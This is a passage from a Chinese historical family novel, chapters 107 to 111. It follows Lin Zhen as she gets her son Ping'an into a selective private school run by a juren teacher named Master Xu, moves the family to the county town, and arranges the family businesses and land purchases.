林真也不客气,接过来牛饮一口,只覺凉气儿通传四肢百骸,叹道:“可算是活过来了。” 她今儿在后头盘库存,一上午连口水都没来得及喝;又招呼铺子里的小伙计也喝口水歇一歇。 日头正是烈的时候,鋪子里没客人,林真便拉了燕儿去隔间说话。 “今儿怎有空过来?你那鋪子才拿回来,正是忙碌的时候,此时来寻我,定是有事儿。总不会是特意给我送豆儿水来的。” 夏和遠置办家業时,虽有夏夫人补贴一二,也置下两间铺子来,可他人单力薄,铺子是全賃出去,单单收賃钱的。 姐倆口中的铺子,是林真先前给燕儿置办嫁妆时买下的。 当时覺着白白放着可惜了,便托了包经纪,将铺子赁出去,赁期两年,前些日子才将将收回来。 收赁钱的时候觉着好,可如今收回来了才晓得,那租客很是不讲究,将铺子弄得乌糟糟一团乱。 为这,包经纪还特意携了礼来致歉,直说自个儿看走了眼。 如今燕儿想将铺子收回来,做书坊。 既是沾了书本,做得又是读书人的生意,那铺子就得下力气好好拾掇。 洁净雅致,才能教读书人进门来。 如此,可不是有她忙碌的么,姐倆也是有些日子没见了。 “铺子拾掇得差不多了,最要紧的刻工和写工也都谈拢了。印刷用的桑皮紙,有阿姐的紙坊供应,我不过是再寻些雕刻用的枣木、梨木,何处有好木,阿姐又给指了大致的方向。如此事事顺心,我可不就是能忙里偷闲,来寻阿姐说说话么?” 燕儿开书坊,那真真是便利。 林真有纸坊,便不愁纸张供应;刻工和写工有夏夫人帮衬着,也不难寻;便是最难的,印刷何种书籍来卖,对她来说,也不算难。 书坊么,无非是售卖读书舉業的正经书和话本子两类。 前一种,自有夏和遠当参谋。 夏和远本就要读书舉业,且学问不算差,他自是晓得甚辅助书籍好卖,像是《四书集注》、《程墨精選》这些书,都有夏和远帮着挑選。 林真又还帮着出主意,书封上印上‘必中’“必读”这样的字眼,不愁没人买。 至于另外通俗易懂的话本子,这是燕儿和林真的强项。 前者有仇娘子用心教导,本就有一定的审美能力;至于林真,前世的博览群书(小说)不是吹吹而已。 她孕期看游记话本子时,已将此时流行的话本子都挑剔了个遍。 如今要选些话本子印来卖,自是信手拈来。 林真还撺掇燕儿:“这些个话本子都不够跌(狗)宕(血)起(上)伏(头),你不若自个儿写罢?你先前写的游记就挺好的,别怕,試一试,万一就火了呢?” 燕儿当时虽是红着脸嗔林真,可心里还是留了个影儿。 可她今日来,不是来说这些事儿的,她是为平安而来。 “阿姐前些日子不是托我打听学塾么?这么些日子,总算是有眉目了。” 林真眼睛一亮:“当真?能教你瞧上的,定是好的,你快说说。” 她这些日子也跑了几处学堂,可总觉不合心意,还要燕儿上心,可算是寻找了。 燕儿道:“这还是官人打听来的,那学塾名声不显,不是因着塾师不好。反倒是太好了,才会有诸多规矩和挑剔。” 随着燕儿缓缓道来,林真便晓得:这定然是夏和远费心打听来的,说不得,还搭了人情在里头。 这家连名字都没有的学塾,塾师居然是位举人! 只因这人生性不羁,在县学里头待得不痛快,又嫌弃县里的学子古板又教条,这才舍了县学学正的职,反而自个儿出来开学塾。 “徐夫子收徒也没个标准,蒙童收,童生收,秀才也收,至于如何收徒又有何评判标准,似乎全凭他的心情,并无规律可言。” 燕儿叹气,道:“最要紧的是,徐夫子并不是年年都收学生的。他那学塾里头,现今只有七人呢!” 如此说来,确实是难。 可林真没皱眉,有机会,总比没机会来得好。 “这有甚?能得一拜帖已是很好,成与不成的,只能教平安自个儿去试一试了。咱们当长辈的,能做的都做了。若是不得徐夫子亲眼,我再去打听就是了,总能寻到一处合适的学塾。” 反正,比在廖夫子那头读书来得好。廖夫子的教学方式,着实不适合平安。 平安喜歡读书,也喜欢多问。 林真觉着很好,他正是探索和认知世界的时候,她不晓得废了多少心神,小心呵护着平安的这份儿探究精神。 可廖夫子不是,他教导学生,便只教举业之书,其余杂书,是看也不准看。 只说举业艰难,人的精力和天份又有限,若是不将全部心神都投入正道,教杂书左道耗去精力,如何举业? 林真不敢苟同,也没法子将廖夫子‘解雇’。 毕竟,廖夫子的观点,才是这个时候的主流观点。 她只能自个儿想法子,给平安换学堂,换夫子。 第108章 下半晌家去, 说起徐夫子收学生一事,一家子都多高興。 尤其是林屠戶和苗娘子。 他们雖不大懂得讀书之事,可他们懂平安呀。 自换了夫子后, 俩人瞧着平安便有些不大对劲儿。 从前散学后多是歡喜,便是做功課也是快活得很。可如今瞧着,多是不高興的时候多;有时还会皱着小眉头,像是有甚心事儿一样。 初时还以为是换了夫子与課舍不大习惯, 后头有一回, 平安居然被罚抄书。 这可是惊着林家众人了。 平安不是那等调皮的孩子, 功课自来都是认真完成的,且于讀书一道还算有些天赋,从未被罚过。 在蒙童班时,林弘川多是表扬他的。 再仔细一问, 好么,原来是他那股子被林真小心呵护着的, 探索提问的习惯教廖夫子不喜。 廖夫子讲究, 书讀百遍其义自见;可平安不是, 他喜歡先知其义,再来背书。 他还小, 并不懂得有些话不能说, 多问几句在廖夫子看来不该问的话后, 自然就教罚了。 惩罚学生, 林真是赞同的,没有规矩不成方圆, 有错自当罚;可像这样教平安抄书十遍,林真是不赞同的。 这有甚用? 打那以后,她便有意为平安换学堂。 且都不肖她费心说服家里人, 那日瞧着平安抄书抄到子时,林屠戶便不高兴。 后头又瞧出来,平安不似往日那样快活,林屠戶先坐不住了,来寻林真。 “真姐儿,咱家本也没指望教孩子去走那登天路。当初送他上学,也只是不希望平安当个睁眼瞎。往日平安喜欢讀书,可这些日子瞧着孩子可是不大高兴;我从前上学时,只覺得格外難熬,咱家可不兴这样逼迫孩子的。万事都讲究缘法,许是平安与廖夫子没有师徒缘分,咱家又不是供不起,教他换處学堂读书罷。” 此时听见有举人老爷愿意收蒙童,林屠戶怎能不高兴。 他摸出钱来,一个劲儿地要为平安置办两身体面衣裳。 “自来都是先敬罗衣再敬人,举人门前石阶高,咱给平安置两身衣裳,可别教他被看低了去。” 林真没應下来,反而招手唤平安过来,问:“平安覺着呢?” 平安读书快两年了,已是七岁多的大孩子,因着个子高,他又自带沉稳气质,瞧着倒像是大孩子似的。 在关于平安的事上,自打他开蒙后,林真都会先过问他的意思,此时自然也不例外。 平安低头,瞧着自个儿身上的细布衣裳,又抬起头来,很是坚定地摇摇头。 “多谢阿爷费心,可我觉着身上的衣衫已是很好。我就是这个样子,便是两身绸子衣衫上身,也改不了我原本的样子。‘君子素其位而行,不愿乎其外’,像今日这样,便很好。” 林真瞧着平安,只觉骄傲。 遂点头,道:“好,就按平安说得办。” 林屠户急道:“真姐儿,这可不是今日吃甚,又穿甚的小事儿。这可是关系到能不能拜举人老爷为师的大事儿,怎能由着孩子自个儿的性子来定?” 林真等她爹将话说完,又等了三息,估摸着她爹能听进劝说后,才道:“徐夫子收学生,是不许长辈入内的,爹應当晓得罷?” 林屠户按捺住心中的急躁,点头。 林真又道:“如此,我们只能将平安送到门口。能否经过徐夫子的考校,全凭他自个儿。与徐夫子对答是他一人面对,咱是帮不上忙的。大事儿帮不上忙,穿甚衣裳这样的小事儿,又为何不能教他自个儿做主呢?” 林屠户没教林真问住,反而道:“就是大事儿帮不上忙,才要在这些小事儿上帮孩子處理周全。” 林真一笑:“徐夫子考校学生,从来随缘。且咱家甚情况,举人老爷定然是一打听一个准儿。两身绸子衣裳上身,若是教徐夫子觉着平安爱慕虚荣可怎生是好?万一徐夫子就是喜欢清贫之家的孩子呢?” “这……”林屠户答不上来。 “再说了,若是真凭学生家世来区别对待,这样的学堂,又如何能去?”林真突然想起甚,笑着道。 “難不成徐夫子还会问:你是如何来的?乘坐的是牛車还是马車?有无书童?然后以此来定座次么?若是这样,那也是没意思得紧。”[1] 如此,在平安携着拜帖往徐夫子那头去的时候,林真与贺景还像平日那样,驾了騾车送他去。 门口停了好几辆马车,林家的小灰骡子混在其中,瞧着很是扎眼。 可因着先前在家里的那一番争执,倒是教一家三口心态都很是平稳,无端端一股子宠辱不惊的范儿。 细布衣裳且年级最小的平安随着徐夫子的书童往里走的时候,瞧着也甚是沉稳大方。 倆人今日都没急着去铺子里,而是在门口一同等待。 没想到,这一等就是大半日,林真唤了帮闲去买了两碗冷淘来,两人就在騾车上草草吃过晌午飯,又惦记着平安,还又买了些好克化的点心来。 直至日跌,今日前来拜师的学子才又一道儿出来。 林真抻着脖子瞧:平安年幼,混在其中,着实不好找。 幸而得了帖子来拜师的不过十来人,众人鱼贯而出,也不多作寒暄,不过一小会儿,便散得差不多。 林真终于瞧见平安的小身子,忙上前几步,道:“乖崽,可吃晌飯了?娘给买了点心垫肚子。” 平安年幼腿短,自然落在后头,徐夫子的书童还没走,听见林真这话,不由抬起头来,多瞧了几眼母子倆。 拜师的人海了去,出来问甚的都有,可多是关心自家孩子在老爷面前的对答表现;问吃没吃饭的,确实是头一遭。 平安点点头,有些不好意思道:“吃了,徐先生这儿的饭食很是可口。有道炸小鱼儿,我都吃完了。” 林真这才放心,道:“没饿着就好,咱回家罢。有甚话都家去再说,你阿爷阿奶定是等急了。” 她瞧着这崽子出来的时候,有些失落,想来是考校过程不大如意。 遂一句也不多问,小崽子没通过考校定然失落,她这会子文一遍,家去她屠户爹再问一遍。 不是教崽子伤心两回?还是先家去,一道说完便罢。 果然,家去后的平安瞧着格外殷切的阿爷有些泄气。 “阿爷,今日与孙儿一同拜访徐夫子的学子,只孙儿与另一位小公子是白身。可那位小公子家学渊源,不论是识字读书或是典故,他都比孙儿知晓得多。” 林真早有预感,也不失望,反而道:“这有甚?文无第一,人外有人。你还小,开蒙晚,读书的年头也短,遇上比自个儿厉害的人可太寻常了。你姑父当时便说了,举人不轻易收徒,此番得此拜帖,也是教你去碰碰運气罢。” 夏和远还真是这样打算的,先教平安去碰碰運气,若是走了大运,教徐夫子收入门下自然极好;若是此次不成,那便教平安留个映像,待考过縣试府试,得一童生后再去拜访。 “以平安的資质和刻苦,通过府试并不难。咱抓紧些,十岁的小童生,便是不能拜入徐夫子门下,也应当能打动其余夫子,无需太过忧心。” 慈溪本就文风颇盛,这些年百姓日子好过,送孩子读书的人家便愈发多。 学塾是不缺生源的,有些功名和教学成果的塾师,都吊得老高了,收取的束脩暂且不提,还要挑剔学生的資质。 就连廖夫子那头,因着教出了个秀才,即便学堂在乡间,也有不少人家托了人情送孩子来林氏族学读书。 廖夫子若不是念着与林氏早年的渊源,且又重名声,说不得,早就辞馆,自去开学塾去了。 教育资源,不论在什么时候都是稀缺的,林家才刚起家,并无这方面的资源,能拼的就是平安自身的资质。 林屠户雖有一二侥幸心理,可此时瞧见平安恹恹的样子,便多是心疼他。 “乖孙儿,你娘说得对。想当举人老爷的学生,哪有容易的?咱不伤心!你娘和姑姑都用心打听着,定然能寻到好学塾的。等咱家縣里的宅子再晾一段时间,咱就搬去县里读书。” 林真此时接话:“还真寻找了。他姑父给寻了一处学塾,听闻那夫子虽有些严厉,可学问扎实,也并不制止学生多看多问,手上也是教出了几名秀才的。就是还没到夫子正式收学生的日子,得等到秋收后去了。” 林真自来都是做两手准备的,晓得徐夫子的学塾难入,自然又打听了其余的学塾。 其实这样也好,家里择的搬家吉日本就是秋收后,举家搬迁,平安自然要随着一道往县里去。 如此,从族学退学也不算突兀。 廖夫子那头,便是再有微词,可自是无法开口,教年级还小的平安留在此处读书。 到时再备下厚礼,此事便算和气了结。 林真便安慰平安:“乖崽,届时去了县里,见你姑父也容易些,你向他请教功课也方便。” 平安与夏和远投缘,在燕儿待嫁的那段日子里,平安没少充当倆人的小信鸽、小灯泡,他很是喜欢这位温文尔雅的姑父。 此时听见娘亲这样说,便露出笑来。他重重点头,又说要去看妹妹,然后做功课。 一家子便都放下此事,林真又用心备了好礼送去燕儿那头。 夏和远为平安读书之事,着实是尽心尽力。虽说俩家关系近,可人家诚心帮忙,自家便要有所表示。 常来常往,用心维护着,才能教两家更亲密—— 作者有话说:1 灵感来自徐克版的《梁祝》 第109章 搬家, 不论在甚么时候都是一件麻烦又琐碎的大事儿。 平安讀书的事儿暂且有了眉目,一家子便都忙着搬家諸事,择日、净宅、入宅、祭祀、置席…… 林林總總, 琐碎又磨人,好在这些有林屠户和苗娘子主管,林真只用配合。 可她也是諸事缠身,不得歇息。 首先便是家里的各类营生, 得安排合适的人手接着。 枣儿村離县里不远, 驾着骡车来往很是便捷, 可林家的大本营在这头,腐竹、堰塘、烧炭、紙坊,还有家里置下的良田和养得各类牲口。 桩桩件件,都需妥善安置。 堰塘有卢老;烧炭是族里的大事, 她制肖盯着香炭便是;紙坊有毕老,再有大壮和范三哥在里头;至于良田, 早早便尋了合适的佃農来种着, 又教范三哥平日里看着点儿, 倒是不怕。 可这腐竹一事,有些難。 腐竹是林家发家的第一桶金。 这么些年过去了, 县里自是有其余人家制了腐竹来賣, 杂货铺子里的腐竹虽受了些影响, 可賬面上还是有钱收。 且如今家里的腐竹, 是苗娘子带着邹娘子在管。 苗娘子必是要跟着一道去县里的,林真也不准备将邹娘子留在家里。 大壮必是要留在纸坊的, 邹娘子便不能再留在此處。 林真去尋苗娘子,苗娘子也是发愁。 “真姐儿,这头咱若是都走了可怎生是好?要不, 还是教我和你爹留下来罢?” 林真摇头:“娘子怎起这念头了?家里新置的好宅院,哪有长辈不去住的?” 在这个讲究孝道名声的时代,这是要被人戳脊梁骨的。 平安往后要讀书举业,这些细节上便不能疏忽。 苗娘子叹气:“可家里事儿多,咱不在这头,怕是麻烦得緊。” “这有甚?咱家本就是要十里八乡到處跑的,離得又不远,每日驾着车家来便是了。家里人要尋我们也方便,往铺子里去便是,哪里会麻烦?且咱家也可两头住呀,又不是一直不回来的。” 枣儿村和县里离得近,每日来回不过一个多时辰;且这么些年,林真治家有方,早早教家里的人有了歸属感,这又是在林氏族居的地界。 每日都来瞧一回,留在家里做事儿的,不敢不尽心。 “可咱家这腐竹豆干的,怎生是好?总不好丢开手去?每日瞧着也有那么些铜子儿进賬呢!” 这才是苗娘子最忧心的点,县里地價贵,花去恁多钱的宅子,在县里算是宽敞,可跟村里的宅子比起来,便不显了。 制腐竹豆干需要地方砌灶台,更需要敞亮的地界来晒腐竹。 县里的宅子有假山流水,有草木葳蕤,可独独没有这敞亮的地头来晒腐竹。苗娘子如何不发愁呢? 林真斟酌着,缓缓道:“我想着,倒是将这腐竹豆干的手藝教给大伯娘,往后咱家的腐竹豆干便从大伯娘这头拿。娘子脱身出来,便将菜行的生意接过去。” 苗娘子先时听见要舍了制腐竹的手藝,面上还有些不赞同和伤心。 可这手艺说到底是真姐儿的,她想交与谁,合该是她说了算;自己这些年从中得到的好處已然不少,不能贪心。 可听见真姐儿教她接手菜行,苗娘子心中一惊,随即便是摆手。 “不成,不成,真姐儿,我真不成。教我在家里制腐竹还好,守铺子实在是難得很。” “这有何难?先前娘子不是在铺子里守过一段时间?那时也没出岔子呀。”林真劝道。 “您就是帮着盯一盯铺子里的伙计,不能缺斤少两再賣些不新鲜的菜,免得污了铺子的名儿。小柳在那头呢,贺景早市也多在那头的。再有,便是要安排家里的佃農种菜,还要从村人手中收些山野鲜菜,这两样我慢慢教,您也就慢慢儿上手了。” 林真细细说完菜行之事,瞧着苗娘子并未一口拒绝,晓得她多半心动了,便再加一把火。 “制腐竹豆干到底辛苦,我不愿您如此操劳。您保重着身子,瞧着平安长大后,娶妻生子,那便是四世同堂的美谈!还有燕儿,娘子就不想去县里住着,多瞧瞧燕儿么?若是燕儿有孩子了,夏家没个親近长辈,少不得要娘子搭把手的。” 林真这一通说,到底是教苗娘子大着胆子应下此事。 腐竹豆干的手艺,便交与大伯一家。 林真按着市价直接收了学手艺的费用,往后从大伯这头采买腐竹豆干,便都按着市场價走。 这是长久的生意,且大伯一家人又多,不见得每人都能像大伯和大伯娘一样,明事理又对林真一家如此親近。 按着规矩拟了契约来,如此,生意歸生意,亲戚归亲戚,才能处得长久。 这样的法子在厚道知恩的人看来,已是林真对大伯一家子的照拂;可在贪心不足的人看来,林真已有如此家业,不是白送就是小气。 林真自然晓得,可她不去理会。 秋收在即,她且要趁着秋后,买賣田地的人家多,赶緊再置办些好田地来。 秋月后,田地要空置一段时间,好教土地也能歇口气,来年才能好生长庄稼。 田地一空,又要缴纳赋税,遇上收成不好,或是手头上一时周转不开的农家人,便只能賣些田地来过活。 如此,这时候的田地,买卖起来便容易些。 林真这些年,陆陆续续置办下的田地,多是在这时买下的。 且因着这些年一直在买地,给的价钱也公道,周边若是有人家想卖地,多会来问一问林真。 这日,林有文踱着步子来林家。 守门的长乐虽是林真新认的干亲,可人机灵,自是认得这位林氏族长的。 他笑着先迎上去,客气将人请到前院待客的侧厅,趁着备茶水点心的功夫,赶紧去后院唤妹妹春和,去请林真。 林真得了信,还奇怪,族长现今是里正,每日可不清闲,怎会来尋她? “好事儿啊,你不是要买地么?陈家,就你先前一气儿买了四亩水田两亩旱地的陈甲首家,又要卖地了。离得这样近,又是成片的田地,可是不好寻,我得了消息,便先递给你了。” 林有文是真高興,这些年陈甲首家陆续卖了不少田地,若是这回再卖地,又教林真买着了,他估摸着。 这陈甲首便要换做林甲首了。 林家又出一甲首,往后里正的位子又能在林氏手上多捏三年,他能不高興麽! “又要卖地?这回是因着甚?他那小儿子,又要换学塾?”林真也高兴。 这些年都在买地,可总不是恁合适的,有些田地都是别村儿的地界了,她虽说会买下来,可后头管理起来很是不便,多是要寻人置换,或者寻靠谱的佃农来种。 这回遇上本村卖地,可不是高兴麽,还有心情打听一下陈家的八卦。 “这回不是,明年有院试,陈甲首家的小儿,要去州城考试。穷家富路,得多给凑些路资。”林有文道。 林真听了恍然大悟,问道:“日子过得还真是快,今年咱们族里可有孩子要去考试?我也好备下程仪,送一送他们。” 林有文面上的笑垮下来,摇头叹道:“没人去。自弘川那孩子得中秀才后,族里这些后生小子,再没人能得中秀才,童生都少。弘安那孩子也不愿意再去考院试,只愿待在族学中,教导蒙童识字儿。读书难,举业难啊!我林氏,还不晓得甚时候能再出一个秀才呢!” 说到此处,林有文又开口:“你家平安瞧着倒是个好苗子。你将要搬去县里,可给平安寻得好学塾了?读书之道,不进则退,是一日功夫也耽搁不得的。” 至于廖夫子私下来寻他说的那些唠叨,林有文是一个字儿也没透露。 他是老糊涂了不成? 族里的小辈有更好的学塾可选,他为何要帮着廖夫子将人拘在此处? 不论平安在何处读书,他都姓林。 亲疏远近,林有文当了多年的族长,分得清楚得很。 “哎呦,先前倒是托平安他姑父给寻处好学塾,可有名儿的学塾不好进。夫子多是要考校一番的,这不,这孩子近来用功得很,就怕通不过夫子的考校,进不得一处好学塾呢!” 对着族长,林真倒是稍稍透露一二,廖夫子那头,还要教族长帮着打太极。 林有文笑得一脸欣慰,频频点头:“平安那孩子,我瞧着好得很。他如此用功,定然能打动夫子的。” 林真笑着道谢,两人又说定了田地过契的日子。 送林有文出去后,林真便接着盘账和安排家中诸事儿。 离去前,家中管事儿的人要定下来,还要定下章程来,又要恩威并施敲打一番,林真每日都是忙忙碌碌。 好不容易闲下来,又要去瞧自家的两个崽子。 大崽子要提醒他歇着,小崽子要盯着她多活动,真是各有各的麻烦。 正盯着慢慢走路呢。 春和急急忙忙跑进来:“娘子,哥哥说门外又来人了!这回,是自称姓徐的夫子,使唤了书童来送信!哥哥瞧着有些着急,唤我跑着来寻娘子!您赶紧过去罢!” 第110章 平安还真撞着了那大运不成? 这是林真的第一反应。 瞧见徐夫子的书童后, 那份儿忐忑和猜测便化作实在:她瞧见书童携的‘录取通知书’了。 徐夫子发放的入学帖子很是朴素,一张素笺,写下平安的籍贯姓名, 寥寥几笔,平安便能携着帖子入学。 书童很是客气,递上入学帖子,仔細说了入学时间, 还隐晦提醒林家众人, 莫要误了时辰。 “此番雖不行拜师禮, 可必要拜先贤圣人的,还請小公子早些到。” 平安此番,只是入了学塾读书,不是教徐夫子收为弟子, 二者之间,相差巨大, 这拜师的禮节流程自然相去甚远。 可即便是这样, 一家子也欢喜得不行。 眼睛瞧着那平平无奇的素笺帖子, 与高中时才能得的金花帖子[1]也差不多了。 随帖子送来的,还有一身小衣裳:青蓝色的細布襕衫, 还有一顶小布冠。 林屠戶都不敢伸手去摸衣裳和素笺, 喃喃道:“咱家还没给先生送束脩拜师呢, 先生怎还先送了咱家平安一身小衣裳啊?莫不是, 咱家平安格外出众,得了先生的青眼?” 爹, 您可真敢想。 林真瞧着她爹,想起将才自个儿还安慰平安呢!瞧瞧,该喚了平安来, 教他好生学学阿爺这股子自信。 林真出言解释:“并不是,这是徐夫子的规矩,入得他门,便不论家世,一饮一食皆有定量,入学穿得衣裳也得一样。送衣裳过来,是要咱家比照着,再给平安制两身换洗衣裳,人人都有的。” “哎呦呦,那也是我乖孙儿厉害!恁多人去,徐夫子单单收了两人,咱平安就是聪慧!” 林屠戶已经完全沉浸在喜悦之中,一点儿听不见林真的话。 先前姑爺还专专往家里走一趟,就为了宽慰平安,就那个舉人老爺的门槛说得多高! 瞧瞧,他家平安将要入舉人老爺的门下去读书了! 林屠戶欢喜异常,还摸出钱来,给家里的人力、女使、长工都发了赏钱,还要加菜。 林真瞧着他爹只在家里熱闹,一点儿不忘外说,便由着他去了。 确实是大喜事儿,主家表示一番,也算同乐。 而同样的东西放在平安面前,平安的表现却是全然不同。 “娘,我实在不懂,为何先生会选了我入学?那日考校,我有好些答不上来。”平安拧着小眉毛,很是纠结。 林真将人喚了过来,拉着他:“你自然有你的好處,先生有大才,便能一眼瞧出来。平安无需为此纠结不安,这帖子上是你的名儿,衣裳也是你的尺寸,便是你这个人,教先生瞧中了。娘的平安很好,便是一时不如人,也定能迎头趕上,何须太过自卑?” 她发覺了,自去过徐夫子那头,平安许是被打击了,回来愈发刻苦不说,还渐渐有些不自信。 “不卑不怯,不迎不拒,小小年纪,便见豁达中正,这就是我儿平安,这还不好麽?娘覺着很好。” “娘親。”平安羞涩一笑,凑近些,靠在林真身上,他许久没露出如此小儿之态。 賀景原是护着慢慢在一旁,小丫头瞧见哥哥和娘親靠在一處,不帶她,不由噘嘴。 她难得主动伸开小胳膊,奶声奶气道:“也抱抱,慢慢。” 林真很是大方,伸手将賀景与慢慢都揽过来,教俩孩子靠在一处。 “自然,哥哥也抱,慢慢也抱,都抱抱!” 儿童冬学闹比邻,农家十月,遣子弟入学。[2] 徐夫子那头,也是教新收的倆学生,于十月初一入学。 幸而林家先前便预備着搬家诸事,如此倒也不见忙乱。 九月十八搬家入宅,净宅祭祀;九月二十請客吃饭。 这回搬家,便真真是只请了亲近的人家,大伯大姑一家,燕儿那头,一家子都是亲戚,再有沈山平一家和族长那头。 其余的,是再没请。 熱热闹闹凑了五桌人,幸而家里人手多,个个儿才得了赏钱,又晓得家里的小公子得了好前程,自然更是卖力。 席面丰盛,气氛自是热闹。 能在城西置下这样的宅子,众人无不艳羡,席间难免多有恭维。 林真与贺景是小辈,自是满口自谦;难得的是林屠戶,居然也十分谦虚,一点儿不见前些日子的兴奋劲儿。 林真还多问了几句。 林屠户吭哧吭哧,才道:“咱家才发迹,平安往后又要读书举业,我当阿爷的帮不上忙,自是不能张狂,免得教人轻看了平安去。” 这觉悟? 林真便唤了长乐来问。 送与四邻的定胜糕和马蹄糕,是使唤了长乐去送的。 “巷子里的人家都是守礼的人家,门房瞧着也甚是规矩。只有一家,咱家斜对门儿的那家,瞧着倒是傲气得很,小子打听了,姓鲁,家里富贵得很,又有位秀才公,在县学读书。”长乐坐了半个绣墩,细细说起近日的见闻。 林真听完,只问道:“隔壁的汤举人呢?” 长乐摇头,道:“小人没打听出来。只门房瞧着很是谨慎,轻易不接东西,小人说是隔壁新搬来的邻居后,还细细问了许久才接下东西的。” 林真倒是松了一口气,门户最高距离最近的汤举人,瞧着是个谨慎的,这自然是好事儿。 “你寻常守着门户,要和气,可更要谨慎。栖迟巷里头,门第雖高,可咱家关起门来过日子,倒也不肖怕甚。” 林真叮嘱一番,又拿钱赏了长乐。 长乐言语见并未邀功,恩科这些消息,定然是他费心打探来的。 他有此心,又有此功,合该嘉奖。 这一番,又教林家下头的人愈发拧成一股绳子,主家赏罚分明又大方,他们自是盼着主家更进一步。 如此,林家便在这头安顿下来。 只林屠户和苗娘子有些不自在,这头人生地不熟的,自是没有人与他们唠嗑搭话。 如此,倆人便愈发喜欢往枣儿村跑,林真也由着他们去,县里的马厩宽敞,家里倆骡车。 他们往枣儿村去套一辆,林真与贺景出门套一辆,并不会打挤。 至于平安,他读书出门也早,多是长辈捎帶着送一送。 棲迟巷距徐夫子的学塾不远,走路不过一刻钟,驾车更是快,每日拐个弯儿的事,也不费事儿。 十月初一,平安初次上学,便是一大家子相送。 等瞧着平安的同窗,人人都有一书童使唤,一家子这才惊觉。 平安缺个书童。 尤其是今日,众人还携着水芹、桂圆等物行拜师礼,平安自家背着书箱,哪里还能腾出手来拿这些东西? 林真格外懊恼,幸而徐夫子的书童解围,伸手接过了林真備下的六礼。 “多谢小哥,给小哥添麻烦了。” 徐夫子门前的书童,倒是不好塞钱,林真便愈发客气。 “家里一时没挑中合适的书童,只得麻烦小哥了。” 那书童是熟人,就是那日去林家给平安送入学帖子的书童。 他那日就得了林家的好茶叶和红封,且林家人又格外客气。 书童略想了想,道:“林夫人无需忧心,老爷规矩大,是不许学生带着书童入课舍的,我也只是帮着小公子拿一小段路,当不得夫人如此道谢。至于合心意的书童,自是要慢慢儿选的。” 书童晓得几分此次收徒的内幕,对林家倒是挺客气。 考校那日,老爷原就赞过林家子:虽学问家世不显,可性子倒是豁达。 此番老爷原是不准备收学生的,可卢家的那位小公子背后有人情债,推脱不得。老爷不想只收卢家子一人,便连带着稍稍顺眼的林家子也一同收下。 又赞他:运道上佳。 得了这两回赞,老爷学生少,林家子又年幼,想来跟着老爷读书的日子不会短。 时日还长,书童也不介意卖个好。 林真回家去琢磨一番,将那没影子的书童又扔在脑后。 亲去双线行找皮匠,制了两双厚底的兔毛靴子。 靴子外头瞧着不起眼,可用料却是实打实的,鞋底子结实好走又格外暖和。 加了银钱教匠人趕赶工,赶在落雪前,唤了长乐私下送与书童。 如此,平安便在徐夫子这头的学塾安生读书。 家里人也都各自忙碌,虽搬进县里,往枣儿村走显得奔波;可往城里各处人家和商户那头送货倒是便利,每日也不会急慌慌地赶着家去。 且县里东西多,便是一时短缺了些甚,摸出钱来,走几步便能买着,又与燕儿离得近,家里得了甚新鲜吃食,便要唤了小两口来,两家来往更是密切。 日子久了,倒是教一家子都觉出住在县里的好处来。 至于平安,入了徐夫子的学塾,他便从枣儿村拔尖儿的成了落后的那个。 可因着学塾里头先生学问好,学习气氛好,他每日倒是格外高兴。 徐夫子的学塾,除了他自个儿,还又请了一位秀才来,可学生只有九人。 一举人一秀才,都是学问扎实又擅因材施教的老师。 平安有甚疑惑都能痛快问出来,不仅不见失落,反而像是鱼儿入水一般,每日都快活得很。 十日一休,他便是休息时,也是手不离书;去燕儿那头做客时,与姑父谈论学问也是欢喜。 唯一不方便的,便是林弘昭小朋友失去了同龄的玩伴。 棲迟巷的孩子,自是各自养在家里,不像枣儿村那头,还能抱了出来各家窜门儿。 不过慢慢本人倒是不介意,林屠户和苗娘子陪着她;平安下学后会与她玩球;林真贺景更是抽空就要逗着她多活动。 她有时候嫌累,还会皱着小眉头叹气,也实在想不起要找同龄的玩伴作耍—— 作者有话说:1 金花帖子:唐宋时期科举考试,登第者的正式录取凭证,以素绫为轴并贴饰金花而得名 2 出自陆游的《秋日郊居》《 》 110-120 第111章 栖迟巷内, 因着读书人多,家家戶戶便多植桂花。 金桂飘香时,巷子里便浸润在桂子馥郁的香味儿中, 熏得人晕陶陶的。 住在这头的人家,家里自是不缺那一点子吃食,桂花便都留在树上,只待其随风飘落, 得一金桂满堂的好兆头。 偏巷子里第五户人家不同, 年年都要摇桂树收桂花。 ‘吱呀’一声, 宅屋的大门打开,一玉雪可爱的小童探出头来。 她肤子細腻如玉,头上扎着小鬏鬏,红色的头绳显得小童肤色更白, 更是惹人疼。可此时,这小童却拧着細软的小眉头, 嘴巴微嘟, 葡萄似的大眼睛, 巴巴儿地望着巷子口。 “昭姐儿,安哥儿許是学堂有事儿耽搁了。咱回去等罷?可别站在这风口上, 小心着涼了。”小童身后跟着的麽麽, 正苦苦劝小童回屋去。 小童自然是林弘昭小朋友。 六岁的慢慢, 虽还有些慢吞吞, 可今日等了許久,还不见哥哥家来, 便自个儿迈着小短腿出门来。 此时听见吴麽麽劝她进去,慢慢撅着小嘴摇头:“不去,要等哥哥。” “姐儿, 咱进去罷。安哥儿家来一準就来寻你的。”瞧见慢慢装作听不懂的样子,吴麽麽祭出杀手锏,“姐儿若是受涼了,娘子可是要伤心的。” 慢慢听见这话,又偏头瞧了一眼巷子口,还是不见哥哥的身影,心里愈发委屈,不由道:“哥哥,才是慢慢!” 转身跟着吴麽麽往回走的时候,小眉头就没松开过。 另一头,教徐夫子留下的平安自然不是被留堂了。 “你五岁开蒙,来我这头读书也有三年了,算起来,读书的日子已不算短。你自小便比常人多些巧思,写文时也总有些独到见解,从前文采稍逊,可近来观你文章,进步颇大,也称得上‘通达’二字。如此,便预備着,明年二月,下場一試罢。” 徐夫子对林弘安这个捎帶手收下的学生是越发满意。 年岁虽小,可心性却是格外坚韧,行事又可窥见其豁达通透的性子。 天资虽要差些,可刻苦上进,又有这样的心性,便能撑着他在科舉一途走一遭。 从前压着不让下場,是忧心他小小年纪取得童生,怕是会教周围人的吹捧壞了心性。 可这么些年看下来,徐夫子倒是放心了。 这孩子,行事自有一套準則,对旁人的批评与吹捧都不在意。好的他听一听,不好的便不放在心上,若是拿捏不准的,居然会直接来询问师长。 这着实是惊到他了。 徐夫子自个儿在这个年纪的时候,可做不到如此。 平安听得徐夫子教自个儿明年下場,先是一惊,稍作思索后便应下来。 “是,多谢先生提点。学生读书日久,确实该下場試試深浅。晓得自个儿何处不足,才能有努力的方向。” 这是他娘教的,考試是最快也最省事的检验方法。 一场场考下来,便能晓得自个儿是何水平,不足之处又在何处,实在是一舉多得。 